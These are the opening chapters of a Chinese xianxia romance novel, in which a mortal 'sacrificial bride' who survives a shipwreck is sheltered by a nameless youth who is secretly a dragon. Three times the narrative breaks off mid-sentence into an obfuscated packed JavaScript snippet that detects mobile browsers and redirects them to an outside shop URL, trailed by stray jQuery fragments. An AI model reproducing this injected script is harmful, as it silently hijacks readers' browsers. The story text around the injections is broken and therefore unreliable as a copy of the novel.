《人,龙可以饲养你吗》
1. 海潮音
“带上我……”
风浪接天,漆黑的潮水里伸出一只雪白的手,湿漉漉地裹着半截大红的衣袖,像传说里冶艳的水鬼。
飞剑上的散仙骇然回头,如山高的海浪沉下去,露出了一颗被海水浸透的脑袋。
“带上我,”叶尘音死死地抓着他的衣摆,仰着脸朝他笑,“我不会给你添麻烦!我背下了附近完整的海图,我知道怎么在野外生存,还能聊天解闷……”
她原本的盛妆被水打花了,凄凉地糊成一团,笑得格外柔弱可怜,那散仙心里便微微地一动。
他才要松口,一阵飓风骤然而来,带起了好大一道浪头。叶尘音差点被送出去好几里,连带着散仙的飞剑也跟着一飘。
散仙:“……”
他那点怜悯之心顿时飘到了天涯海角——他就是个半吊子散仙,在这天地之威面前,自己能不能有命还不好说呢。带上这个凡女,岂不是更没活路?
一个弱不禁风的凡人,什么添不添麻烦,她自己就是个麻烦。
“放开!”
他使劲将衣摆往回一扯,没扯动。那十根纤细的手指好似铁钳,几乎不像一个柔弱凡人的手。
此刻,半空中的黑云已经卷成了漩涡,正不怀好意地俯瞰着这片海域。散仙情急之下,索性抽出了一柄匕首,一刀落向衣角。
“嗤啦”一声轻响,叶尘音手里一轻,只剩下一块无根无凭的破布。
她心里好像有一根弦铿然而断,再伸手时,飞剑已经离她有一丈来远,再抓不住了。
于仙人而言,同赴险境的队友就等于同袍,割袍是什么意思,那都不消说。
“……没关系,”她告诉自己,“一回生二回熟嘛!”
上回抛弃她的人,还是和她有近十年情谊的未婚夫呢。这回丢下她的不过是个相识几天的队友,那还算什么事吗?
求人不如求己,叶尘音握住了左腕上一个精铁所制的手环,轻轻一拧。黑铁上亮起了一圈灵光,一个泛着微光的透明罩子无声无息地裹住了她。
这手环是她唯一的依仗,别看黑沉沉的不太起眼,却正经是个仙人造物,出产地是高居云上的昆仑仙都——亏得它不起眼,不然戴在她一个凡人手上,迟早得怀璧其罪。
她缩在仙器的保护壳里,跟着飓风在如山的海涛里打转,转得头晕眼花,感觉自己好像就地变成了个陀螺。
还不是个在平地上转的陀螺,海浪执着地将她往水底下拽,大海十分热情,请她喝了好几口海水。
呸,又咸又腥!
“本来是来猎龙的,”叶尘音探出头来,就着腥咸的海水抹了把脸,心道,“再这样下去,就该变成给龙送菜的了。”
深海妖龙是天地化生的灵物,片鳞只爪都是宝贝。妖龙骨还能易筋洗髓,只要一小截,就能将她这一窍不通的凡胎也洗成仙人身。
凡人谁不仰慕仙人呢?她也不例外,小时候在荒庙里遇上重伤的孟景,也不管自己怎么流浪,怎么朝不保夕,就卖掉了身上唯一值钱的一把长刀,求来了个半吊子医师。
半吊子医师没给他治死,孟景醒了,还说要和她订婚——救命之恩以身相许,美好得像戏文里的故事。
孟景带她去了散仙聚集的北昆仑。比起兵荒马乱的人间,北昆仑可真是个世外桃源,她平平稳稳地长大了,孟景更是崭露头角,名气愈盛。少年天才,意气风发,连山主的女儿都来向他示好。
这么着,孟景就开始和旁人出双入对,组成了货真价实的神仙眷侣。
眼看她是没法留在北昆仑了,可要是无依无靠地回人间去,在乱世里一个孤女能活多久也不能细想,叶尘音想当仙人。
听说南方的群妖之海上有条大青龙,年年在沿海搅风搅雨,散仙们组了一支船队,扮作给龙神献祭品的信徒们,出海屠龙。她就承担了“祭品新娘”的角色,跟上船队出了海,想弄到妖龙骨。
只可惜大青龙长什么样还不知道呢,半途就沉了船,眼看要变成个真的祭品新娘。
那可不行!
叶尘音四肢并用地往外游,她还记得不远处有几个能落脚的小岛,可以给她暂避。
风暴好像没料想她还敢不自量力地挣扎,有心治她,一重巨浪“呜”的拍下来,砸得她眼前一黑,意识几乎断了片。
再抬头一看,就连那救命的灵光罩子,也被接连的风浪打得明明灭灭。在海上飓风这等天灾之下,再是顶尖的仙人造物,也已经无以为继。它显出了油尽灯枯的征兆,透明的外壳上甚至出现了几条细细的裂痕。
这仙器要是报废了,她怕不是得立刻被风浪撕成渣?
叶尘音不死心地企图挣扎,可汹涌的海潮如南山将崩,高悬在她头顶锁定了她;她身上的仙器也灵光大盛,准备背水一战。
缤纷的灵光好似一重重转过的灯影,晃得她心思恍惚。
听说有执念的人死后会变成鬼,“鬼新娘”更不得了,在一众令小儿夜啼的恐怖意象里都能排得上号。
她现在也身着嫁衣而死,死后要是能做个厉害的鬼,好像也挺不错……
保护壳上传来令人牙酸的“咔嚓”声,裂纹飞快延伸,影子落在她的面孔上,仿佛她的面容也跟着皮开肉绽。
裂痕势不可挡,眨眼间,蔓延到了整个保护壳上。
叶尘音下意识闭上眼,本能地尖叫一声,甚至忘了屏息。腥涩的海水刹那间灌进胸腔,冰冷汹涌,她猝不及防,没命地呛咳起来,恨不能连肺也一并吐出去,好来个痛快。
翻天覆地的黑暗之中,好似有一个声音轻轻地在叫她,“喂。”
“啊,”她咳得撕心裂肺,迷迷瞪瞪地想,“这是勾我魂的前辈鬼来了?”
这前辈鬼的声音还怪好听的,看来幽冥界的迎新比昆仑仙家讲究……
叶尘音慢慢地睁开眼睛。仙器张开的保护壳已经碎出了蜘蛛网的尊容,但仍堪堪维持住了一个完整的形状。她身边数尺以外,浪尖仍有冲天的气势,然而涛山之中凭空裂开了一条风平浪静的深谷。
“前辈鬼”侧坐在一根花枝上,随意地悬停在她面前。枝头数点桃花飘悠悠地轻轻颤动,所指之处风暴辟易,出场得十分高调。
前辈鬼道行还挺深厚,居然能拿辟邪的桃木当坐骑,生前想必比她还冤。
“小姐,”疑似遭了泼天大冤的前辈鬼有一口幽静的少年音,他礼貌地询问道,“你不能换一个地方死吗?”
……?
叶尘音被海水泡昏的脑子终于缓缓地转动起来——她还能呛水,看来没死,那眼前这位估计也不是阴间来客。
她试探着伸手碰了碰他垂在海水里的衣摆,轻薄柔滑,但是能抓得着……确实是个活人!
她仰起头,脑子虽然被这忽如其来的变化激得清醒了不少,身体机能却没有恢复。眼前仍然一片模糊,她看不清来人的样貌,只能看到透白的衣裳,以及长得异于常人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524533|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、蛇似的漆黑发尾。
叶尘音在心里下了论断:这不是鬼,恐怕也不是“人”。
能这么从容地穿过天灾,八成是这片海域里呼风唤雨的大妖,要么……也许是某位来收妖的仙人?
是哪一种都无所谓,她一把抓住了那截衣摆,费力地张张嘴,“救命……”
这动静犹如铁片磨血,她自己都不忍卒听地咧了咧嘴。
来人无动于衷,显然不是什么善类,没有救人一命胜造七级浮屠的高尚觉悟。
虽说没答应,可他也没像先前那散仙似的拒绝,叶尘音就全当他默许了,死死地抓着他。她这次吸取了教训,知道衣摆不靠谱,于是改为抓那人的腿。
但听说某些妖兽也有断肢再生的本事,叶尘音干脆就抓着他的衣裳往上爬,也不管什么有的没的,一把抱住了那人的腰——不管他是仙人还是妖兽,横不能为了甩下她,把自己给腰斩了吧?
好细的一截腰,能叫她轻而易举地抱拢。她有了一点安全感,遂八爪鱼似的缠了上去。
那人微微一顿,再开口的时候,声音就有了几分阴冷的味道,“放手。”
放在平时,这冰冰凉凉的一声足够叶尘音敬而远之,但此时此刻,这种族和来历都不明的活物再怎么也不能恐怖过天灾,她反而不怕他。
“你刚才不是说,让我‘换个地方死’吗?”叶尘音干脆破罐子破摔,“虽然我还不想死,但咱俩殊途同归。劳你带我挪个窝,离开这片海,我保证不死在这里。”
她心道:死在漩流里也是死,被妖怪吃了也是死,区别不大。
都豁出去跟着散仙们来猎龙了,命早就压上了赌桌,索性再赌一把!
少年提着她的后脖领,想把她从身上摘下来,未遂,这才终于低头打量了她两眼。
她大幅的红色裙摆在海水里翻卷着绽开,好像某种艳丽的花;而裹着她的那层透明的茧已行至末路,裂开了无数碎纹,灵光微弱不可察,仍然执着地将她护在里面。
她像一只企图横穿风暴的萤火虫,至此已经筋疲力尽,行将末路。
那好吧,他想。
他的收藏品里,的确还没有“人”呢。
太阳落山的时候,这新的“收藏品”被一股馥郁的香气熏醒了。
叶尘音惊心动魄一场,为了求生从血肉里榨出了最后一丝力气,直到轻柔的海风吹上面孔,她才终于放心了,陷进了一片微咸的黑暗里。
这会儿的香气却和清而咸的海风不挨边,不知道是什么香,好似许多种花香混合在一起的味道,直往她鼻腔里怼,她第一次知道香味也能如此野性横蛮。
这陌生的香气和身上湿而冷的衣裳,扫尽了她脑中浮起的第一个念头:不是梦。
她真的经历了一场海难,真的九死一生,现在也是真的还活着。
就是这活出来的形象么……
叶尘音不敢睁开眼,生死一线间被大风吹走的什么规矩礼数全都回来了,她感觉到自己正牢牢地缠在一个人身上。两手仍然紧紧地搂抱着一截腰,脸底下枕着什么柔软的东西,根据常识,她推测乃是此人的大腿。
羽毛似的发尾垂落在她脸上,随着呼吸正轻软地拂动,有点痒。
叶尘音鬼鬼祟祟地松开了手,假装自己还没醒,只是没力气了,一骨碌从这双腿上滚了下去。
感觉和此人拉开了一点距离,她这才敢睁眼,抬起头,对上了一张异常雪白的脸。
2. 溪流水
看清眼前人的面容,叶尘音不由自主地眨了眨眼。
这人和她想象中的世外高人相去甚远,年纪甚至看着比她还略小一点。他衣发都带着湿漉漉的水汽,皮肤与衣裳几乎是一个色,白得一尘不染,连眼珠也比正常人浅一些,闪烁着上等日华石一般的浅金。
他整个人好似洗过一水,有点掉色似的;偏偏头发又极黑、极长,不挽不束,漫不经意地披垂着,黑白过于分明,反而格外鲜艳了。
那双日华石似的眼珠正盯着她,并不温暖,毫无温度。
这是一双妖怪才会有的眼睛。
叶尘音爬坐起来,她不太敢正视这双非人的眼睛,只得把目光落在背景里满眼的花上。岛上的花挺随心所欲,也不挑什么地形气候,这一眼扫过去,桃花梨花杏花海棠花凑了个全,一通乱开,十分闹腾。
花太烂漫,显得花间黑白色的妖怪更显眼,叶尘音不得不把目光重新落回他身上。
“那个……咳,多谢公子救命之恩。”妖怪大多都忌讳被人点破身份,叶尘音装作没认出来,若无其事地给自己的行为找补,“刚才多有冒犯,实在是为了求生,还望公子见谅。”
“我不是‘公子’,”妖怪平静地回答,他连说话的语气也比一般人淡许多,在一片锦簇的春意里显得格外幽静,“也没有救你。如果不是你抓住我不放,我不会管你。”
“……”
好吧。
反正她道完谢了,妖怪接受不接受是他的事,叶尘音先问自己关心的问题,“这里是什么地方?”
“这里?”妖怪歪了歪头,眼里流露出了一点困惑的神色。他整个人都显得格外清浅,什么情绪都能被轻易地读出来,比如此刻,叶尘音就能看出来他在极力地思考。
……不是,这问题对妖怪来说这么深奥吗?
“这里就是这里啊,”妖怪思索了半天,最后描述道,“是我的地方。”
“……”
行吧。
叶尘音询问无果,只得回想着她记忆里那几个海岛的描述,试图对比着确认自己到底在哪一座海岛上。还没对上号,妖怪却以为她想说的话已经说完了,起身欲走。
叶尘音赶紧跟着爬起身,但身上的大红嫁衣实在是繁复沉重,而且吸饱了水,分量足有十来斤,硬是拖着她绊了个趔趄。
妖怪回头看了她一眼,目光在她厚重的衣裙上停留片刻,眼里露出了一丝迷惑。
不过他什么也没说,施施然走到溪水边,也不说让她闭个眼,就解开了自己的衣带。
“……!”
叶尘音好不容易拖着大衣裳跟上来,被这一幕惊得目瞪口呆——妖怪不理会人情世故这也正常,但这是把她一个大活人也当成“人情世故”,一起不理会了么!
“我……先找个地方回避一下,”叶尘音下意识地闭上眼,语无伦次地说道,“但我还有话要说!等你洗完了,能叫我一声吗?我不走远,就找棵树后面等着……”
撩水的声音沥沥响在耳边,听得她浑身都不自在,只想赶紧离开这瓜田李下之地。一抬脚,就被自己的大裙摆绊了一嘴泥。
“那恐怕要等很久。”妖怪仍旧用那幽静的语调说道,“我要很长时间才能洗掉毒咒。”
叶尘音听见“毒咒”两个字,一惊,下意识睁眼,这才发现妖怪的一侧袖角上染着血迹。血迹中不祥的青黑气息盘绕,她只看了一眼,就觉得眼睛刺痛。
妖怪也没像她以为的那样宽衣,只解下了这一侧的衣袖,露出来的手臂上有两道深且狭长的血口子,如利斧劈斫,几可见白骨。
叶尘音随着前未婚夫在北昆仑住了小十年,只扫了一眼就认出来:妖兽爪痕。
但这么利的妖爪,就算在昆仑也不多见。
“你感觉怎么样?”她倒吸一口凉气,“怎么伤的,为什么还能沾上毒咒?”
嘴上说话,手也没闲着,她将左袖捋上去了一点,低头去瞧那枚精铁手环。
这手环不愧是昆仑出品的仙器,经过了那么一场恐怖的风暴,居然没报废。她轻轻一转,灵光就亮了起来,只是显得微弱,看来灵气快耗完了。
世上的仙器都需要灵气驱动,偏偏她这凡身使唤不动半点灵气,随身带的灵石也在海难时喂了鱼,没法给它续上顿。
看来不到紧要关头,这仙器是决不能轻易动用了,她本想拿这个给妖怪疗伤来着……
叶尘音又把衣袖拉了下来,已经冲到唇边的话被她含住了,没说。
“不要紧。”妖怪没理会她的欲言又止,漫不经心地撩着水,“不重要。”
照理说水是没法洗掉毒咒的,但那山间的清泉不知道有什么神异,流过伤口的时候,竟真的将血中的黑气洗去了些许。只是洗得十分缓慢,想洗干净,恐怕确实得洗到猴年马月。
他也不见着急,慢条斯理地清洗,仿佛不在意要洗多久,自有不尽的时间可荒废。
“‘不要紧’是说这伤不要紧,”叶尘音思忖,“‘不重要’,意思是怎么受的伤不重要?”
也就是说,那挠了他一爪子的妖兽全不是威胁,要么已经死了,要么本不是他的对手,这次受伤只是不小心。
那就好。
既然肯救她,说明对她总算有几分善意,叶尘音擅自把这妖怪划拉成了半个自己人。在这天知道都有什么妖魔鬼怪的地方,“半个自己人”当然是越能打越好。
她不再犹豫,飞快地将手环拧了两下,一缕温暖的灵光笼罩在了那伤口上,血中的黑气仿佛蒸发似的飞快消散。
妖怪十分惊讶地一抬眉。
“这是一位故交送我的仙器,能治一点小伤。”叶尘音轻快地解释道,“不管怎么说,阁下对我毕竟有救命之恩,可我身无长物,不知道怎样感激,只能略尽一点绵薄之力。”
她又试探着暗示他,“只是它里面的灵石快耗尽了,效用有限。我又只是个凡人,心有余而力不足……”
妖怪没接她话音里的暗示,不仅如此,他甚至半个字都没回答。
叶尘音心里一跳,小心地抬头看看他的脸色,发现他面无表情,用一种“叽里咕噜说什么呢”的眼神盯着自己。
难道是这番在北昆仑练就的客套话太不通俗了,妖怪听不懂?
“没什么,”她笑说,“就是说,你救了我,我帮你疗伤,投桃报李。”
“偷……桃?”妖怪摇摇头,目光从她脸上移开了,“你的话,我听不懂。”
“……”
得,挺好看一只妖怪,可惜没有文化。
叶尘音叹了口气,放弃了让他帮忙给仙器补充灵气的打算——这是个精细活,寻常炼器师尚且未必敢接,这位看着连人话都不太通晓,更不会懂什么器道,不把她的仙器炸了就算走大运。
眼下,还是先给他治疗伤口更重要。
叶尘音低头专心去看他的伤,看了片刻,发现了新的问题,“哎,你这伤怎么一点不见好呢?”
此时妖怪血肉里的黑气已经完全被拔除,伤口却没有一点要愈合的征兆。叶尘音一半是担心,另一半是肉疼,她这仙器是真的不剩多少灵气了!
妖怪活动了一下伤手,又盯着那手环看了两眼,一笑:“谢了。剩下的,你那个没用,收起来吧。”
叶尘音收起手环,但看那伤口还在哗哗流血,眼角直抽。她目光四处搜寻着,忽然眼前一亮,看见了两样能治伤的草药,就捞起裙摆磕磕绊绊地想去摘。
妖怪从后面看着都替她累,打了个响指,一缕灵风隔空卷回了那几根药草,还说道:“你这一身又厚又重的皮,实在麻烦。春天快过了,你不换吗?”
叶尘音:“……”
虽说只认识了短短半天,但她已经数不清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524534|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这自己被这厮噎住多少回了。
照理说不管是男的还是公的,这么信口点评姑娘家的衣着打扮都十分失礼,她合该拂袖而去——就算这浸满了水的大袖子忒沉了,她拂不动,也得疾言厉色地怒斥一回。
但这小猫问小狗“天气热了你怎么还没换毛”似的发言,倒也不大能归进“点评衣着”的范畴之内。
因此叶尘音也没觉得多讨厌,坦然地解释道:“我这样打扮,因为我是临海的人们献给龙神的新娘。”
至于是真的还是假扮的,那就别管了。
妖怪闻言微微愣怔片刻,又仔细地打量了她两眼。
她这一身外皮层层叠叠,累赘到了夸张的程度,不好拆封;头上顶着满脑袋金刺,七楞八叉的,料想扎嘴;手上扣着的那黑漆漆的手环,冷而且硬,恐怕硌牙;脸上糊着一层乱七八糟的颜色,又黑又红又白,八成有毒。
他在心里得出结论:不好吃。
更何况灵窍不开,凡胎□□,没有半点灵气浸润过的痕迹。
“哦,那你回去吧。”他不再看她,拢上了衣裳,实事求是地说道,“龙不吃你这样没灵气的。”
“……???”
叶尘音无言以对,心头又是一刺——她不能修炼,作为未婚妻,被未婚夫嫌弃不堪与他匹配;作为同舟的队友,被散仙们嫌弃她累赘。这也都还可以理解,但居然连当个食物也要被嫌弃!
天理何在?
她一时半会找不到话回答,那妖怪转脸再次盯住了她,重复道:“你回去吧。”
叶尘音回过神来,摇摇头。
“回去,”她心道,“听着挺好,那我也得有处能回啊。”
她那仙人未婚夫已经另有了良缘,她这个凡人未婚妻,能被放在哪儿呢?要是没有了仙人眷属的身份,昆仑她肯定是混不下去了。倘若回人世间去,人世间南北两边正打成一锅糊粥,她已经在战乱中流浪过了,不想再流浪一次。
能拿到妖龙骨就好了。哪怕她变个资质再差的散仙,昆仑和人间,她也都尽可以去。
但现在么……唉,龙在哪儿还不知道呢!
妖怪不知道什么时候已经站了起来,无声无息地来到她面前。
“龙不想吃你,”他盯着她的眼睛,第三次重复道。这一次,他说得很慢,好像生怕她刚才是没听清楚似的,每个字都咬得很清晰,“你可以回去了。”
叶尘音莫名其妙地感觉到一阵寒意。
她轻轻地打了个冷战,看日影西斜,就把衣裳裹得更紧了一点。也不知道该怎么说,才能让这连人族语言都不大通的妖怪明白她的无奈,她只好再次摇了摇头。
“算啦,”她说,“我……”
刺骨的冷意乍然窜上来,一刹那,好似无数蛇虺同时睁开了眼,冷漠地注视着她。叶尘音寒毛倒耸,没说完的后半句话一个字也吐不出来。
周围的空气好似忽然化作实质,湿漉漉地绞紧了她,一瞬间,她就听见了肋骨开裂的碎声。
胸肺里的气息眨眼间被挤空了,死亡的阴影兜头将她罩住,叶尘音眼前发黑。
有那么一会儿,她几乎以为一切都是梦,她早已葬身海底,什么繁花灿烂的海岛、溪水边清洗伤口的少年妖怪,都只是她死前的幻觉。
“竟然还有人愿意被吃掉?”濒死的黑暗里,她还能听见妖怪的声音,尾音上扬,语调却幽冷,“我不相信。”
放……放手……
她艰难地张了张嘴,却说不出话——妖怪给她下了禁制,他想知道的内容她须得如实回答,其余废话,一概免提。
“你为什么不回去?”
时间好像凝滞住了,模糊的意识里,她仍能看见那双浅金色的眼睛。现在不像美好的日华石了,像琥珀,密不透风地裹着她的意识,她走投无路。
“我……回不去了……”
3. 白龙尾
她一张口,血沫就从嘴里涌上来,五脏六腑的压迫瞬间放松了。张扬的花香灌进肺腑,和喉间腥甜的血味当头对撞,叶尘音猝不及防地呛咳起来。
她站不稳,跌坐在地上急促地喘息,视野渐渐恢复,抬起头,她对上了妖怪的脸。
他垂下眼睛俯视着她,眼中闪烁着锋利的金光,眉心却为难地微微皱着。
那眼神,就好像是在看一只麻烦的小虫——可以很容易地一下捏死,但要活着抓住她,剖开所有言辞检阅一番她的心肝肠肺,就有点难度了。
叶尘音手脚冰冷,头脑异常清醒,心里有了数。
她是猎妖人,他看出来了。
仙人们往鸣光海来猎妖是常事,她身上有仙器,本来这身份就掩饰得不怎么样。而且她自称是送给妖龙的祭品新娘,可是捡了一条命,又不肯跑——世上有自己硬往人嘴里跳的红烧肉吗?
可不是形迹可疑?
死里逃生一场,妖怪又表现得挺好说话,她可真是飘了!
“我已经没有家人了,”弱也有弱的好处,便于她洗脱嫌疑,叶尘音选择性地说了真话,“我在人世间无可依仗……回到人间,我只能任人摆布,受人欺凌。我不愿意这样,可是没有地方可以安身……”
她目光不敢有分毫偏移,紧紧锁定妖怪的眼睛,唯恐他有哪句没听懂,导致自己一番话白说,也是为了给他展示自己的真诚。
她本意其实只是示弱卖惨,但可能是这段话说得太真诚了,她喉头忽然一哽。
许多旧事涌到了喉间,后头的话竟就这么被堵住了,好似生生撕开了心口正在结痂的伤口,袒露出了里面淋漓的血肉。
血肉这东西实在不便于给人展览,叶尘音本能地收住了声。
她想说点别的插科打诨,却说不出来,妖怪虽说是怕一不小心就弄死她,撤去了加诸她肉身的禁锢,精神上的压制却还在。假话和不相干的事,她半个字也不能说。
妖怪垂目俯瞰着她,冷冷地反问道:“人间,不都是你的同类吗?”
果然是丝毫不懂人间事的妖怪才能说得出来的话,叶尘音模糊地笑了一声。
高居庙堂者是一类,命如飘蓬者是一类;号令风雷者是一类,手无寸铁者又是一类。
比作虎羊尚且觉得过于纯然,谁跟她讲什么“同类”?
她这话没有说出口,妖怪却从她的神色里明白了她的意思。他目光微动,没说信,也没说不信,眼里妖异的光芒却缓慢地消散了。
叶尘音心底一松,浑身上下的疼痛失去了压制,终于发疯似的涌上来。
她忍着痛将自己从头到脚检查了一遍。肋骨肯定是断了,左手脱臼,腰和腿估摸着有点骨裂,其他倒还好。
她这才有了“还活着”的实感,什么“半个自己人”,这分明就是个没轻没重的暗雷,稍不注意就能炸得她粉身碎骨,根本不能以常理揣度!
“还好,”她心想,“妖术虽然厉害,但动动心眼,总算糊弄过去了。要是不小心说出来我其实是来猎杀妖龙的,那这会儿是死是活恐怕还不好说。”
幸亏这祭品新娘的身份也算本色出演,不容易出戏,就算有什么破绽也好圆。
叶尘音仰起头,去看妖怪的神色,恰好他也俯身下来,审视地看着她。
夕阳已经完全沉下去了,暮色四合,冰冷的上弦月从他们一侧升起来,照亮了他的脸。从这个角度,妖怪看起来更不像人了,散发着森冷的妖气,感觉不到一点属于人类的温度。
四目相对间,叶尘音激灵灵地打了个寒颤,感受到一种被掠食者盯上的冷意。
好像只是一瞬间,又像过了很久,妖怪的目光渐渐缓和了。
他低头望着她,觉得看到了一只漂泊的萤火虫,只求一片草叶遮头而已,他有什么好怕呢?
妖怪轻飘飘地抛下一句:“那你就留下来吧。”
雄性妖怪居然比某些男性人类靠谱,这“留下来”不是空口白话,他给她找了一处避风的山洞。
这山洞在半山腰上,离地面有一点高度,不用担心野兽一头撞进来把她当点心吃了,但她自己出入自然也就不怎么方便。
妖怪背着她飘到了山洞口,动作轻盈敏捷,和山间的猿猱显然是两个物种,也不太像鸟。叶尘音想了半天,觉得有点像水里游动的鱼。
该不会是个鲛人吧?
叶尘音发散思维地想着,用一通胡思乱想来对抗眼前诡异的情形——她这伤其实也不是不能走路,但要靠一个受伤脱力的身体,拖动十几斤湿漉漉的大衣服,可想而知那是何等神速,妖怪看着累眼,索性背着她走。
她趴在妖怪身上,手搂着妖怪的颈项,很有心给他嘎嘣一下掰折了,没敢付诸行动。
妖怪的体温比常人略高一些,她感觉很暖和,于是刻意压下了心头的那点别扭,再一次抛弃了那些没用的陈烂规矩,把自己调整出了一个舒服的姿态。
“我是个伤员呢,”她在心里理直气壮对自己说,“死妖怪恃强行凶,背背我怎么了?”
眼前一片黑暗,妖怪找的山洞十分简陋,而且完全没有光源,走进了深处,连月光也被排除在外,叶尘音什么都看不见。
她视线没有着落,思绪越发飘逸起来了,也不知道这妖怪是怎么在这种漆黑的环境里如常行动的,难道他还是条活在深海里的鱼?
深海鱼不都长得佶屈聱牙的吗?他长得这么秀气,看来是个稀有品种。
她正在放飞思绪地猜测妖怪的真身,两脚忽然落了地,妖怪松开了她。
叶尘音立刻抓住了妖怪的手腕。只要她不惹毛他,这妖怪怎么着也比伸手不见五指的黑暗靠谱,她不怕猛兽不怕妖也不怕鬼,但就是怕黑。
身边有个摸得着的人还好,要是她孤身一人待在黑暗里,总觉得无边无际的黑暗要吞了她似的。
妖怪轻轻地笑了一声,“到了。”
叶尘音尴尬地“哦”了声,拧亮了手环。借着一点微光,她四周环视了一圈。
一个海上荒岛当然不可能有什么良好的居住环境,这山洞四面除了石头之外什么都欠奉,简陋得没有一丝人气。
但胜在干爽洁净,而且不冷,稍微收拾收拾,也不是不能过。
且最重要的是安全,高度能隔绝走兽,深度能阻拦猛禽,叫她十分安心。
叶尘音道了句谢,忽然又想起一件事,迟疑地问:“这里不会是你的住处吧?”
就以此妖对于人族习俗的认识程度,她十分怀疑他能干出来把她带回他自己洞穴的事。虽说在这世外之地,什么男女大防之类的破事一概不重要了,但让她和一个男妖怪相对而眠……那也不太行!
还好妖怪摇头否认,“不是。”又补了一句,“我的住处,你也去不了。”
哦豁,听这意思,兴许真是条深海的鱼?
叶尘音对他的住处还挺有兴趣,不过此时此刻肯定不是研究“鱼怪窝长什么样”的好时机,顺从地点了点头。
她看妖怪转身要走,又叫住他,“等等!”
“还有什么事?”
“我们还没互通
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524535|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姓名呢。”叶尘音先自我介绍,“我叫做叶尘音,博月州人氏,因为战乱一路流落到南边。你呢,我该怎么称呼你?”
妖怪摇摇头:“我没有名字。”
“没有名字?”
“嗯。”妖怪无所谓地说道,“你想怎么称呼都行。”
没有名字的妖怪走了,叶尘音这才贴着洞壁缓缓跌坐下来,深深吐出了一口长气。
“这一天过得比过去十年都丰富,”她心想,“能死里逃生两次,也不知道我这算是命太好呢,还是太不好?”
就着手环的微光,她在地上画了一张简笔的笑脸,和它商量:“你说接下来怎么办呢?”
笑脸当然不能回答她,不然就成个鬼故事了。
她就在心里无声地给笑脸配音:“不知道呀。”
“可是,总不能在这都不知道是什么的地方,指着个不知道是什么的妖怪过日子吧?”
言之有理,她决定早做打算——首先是他们的猎龙计划。她一个凡人要想完成之前十几个散仙的未竞事业,那肯定没戏,这点数她还有。
不过俗话说“来都来了”,空手而归,多不礼貌。要是能打听清楚妖龙常出没的地方、行动轨迹、都有些什么神通、什么弱点……顶好能亲眼见识那大青龙一眼,带着情报回去找新的猎龙队伍,下回再来,岂不是多几分机会?
再有,就是在这世外荒岛上怎么过日子。她的行囊早都在海难时沉没了,衣食住行全都得从头开始张罗,好在她当过流民,野外求生挺有经验,也不怵。
倒是另一件事更重要,这无法以常理揣度的妖怪该怎么应对?别哪天一不小心又一句话说错,她还真没信心从他手下逃出第二回……
倦意一阵阵上涌,她还没来得及和自己商量出个主意,就陷进了深黑的睡梦里。
睡前最后一个模糊的念头是:他倘若真是个鱼,那要是找只野猫养着,不知道能不能驱妖辟邪……
该被辟的那个“邪”走出了山洞,脚下微微一顿,神识往山洞里扫了一圈。
那女孩安静地蜷缩在角落里,已经睡着了,睡得很沉。她睡着的时候看上去甚至颇为乖巧,和她醒时装出来的温顺完全不一样。
妖怪其实有许久没有怎么见过“人”了。
但他至今记得,人和野兽是很不同的,因为善于矫饰,将尖牙利爪从内到外都藏在一副温暖的假皮里,叫他一个妖怪也望而生畏怖。
而这个女孩,和他记忆里的“人”很像,从头到脚都透着一股粉饰的味道。只是偶尔撕出来的一点真面目,又有点像野兽……倒看着有几分顺眼了。
就让她留在这里吧。
妖怪化作了一片水雾,朝大海而去。
海岛上没有灯火,月色也影影绰绰,一片漆黑的海水里,忽然浮起了一片灿烂的银光,蜿蜒在海面之上。
那是一条银白的龙尾,妖怪的少年身缓缓在银光里化作了龙形。
随着他的变化,深黑的大海里隐约响起了一阵阵簌簌的水声,好像许许多多的什么东西从海里冒出了头,也不知道是戒备,还是特地出来恭候。
四面八方都是那细碎的声响,仔细听一听,其中似乎还夹杂着贪婪的低笑声。
倘若此地还有一个无知的常人,听见了这声响,一定会惊骇欲狂。
妖龙随意地甩了甩尾巴,对着无穷无尽的黑暗轻飘飘地说:“别打她的主意。”
诡异的声音不甘不愿地退去了,妖龙也随之沉入大海,海面上悄然无声,好像刚才什么也没有出现过。
4. 千手鱼
“空手而归意味着什么呢?”
叶尘音坐在海边一块礁石上,信手捡起几个石子打水漂。她打水漂的功力和她的灵力修行差不多,石子能弹跳一下就算老天给面子,扑通扑通接连沉了底。
她对着空茫茫的大海,笑着回答自己,“意味着返程的时候不费力气!”
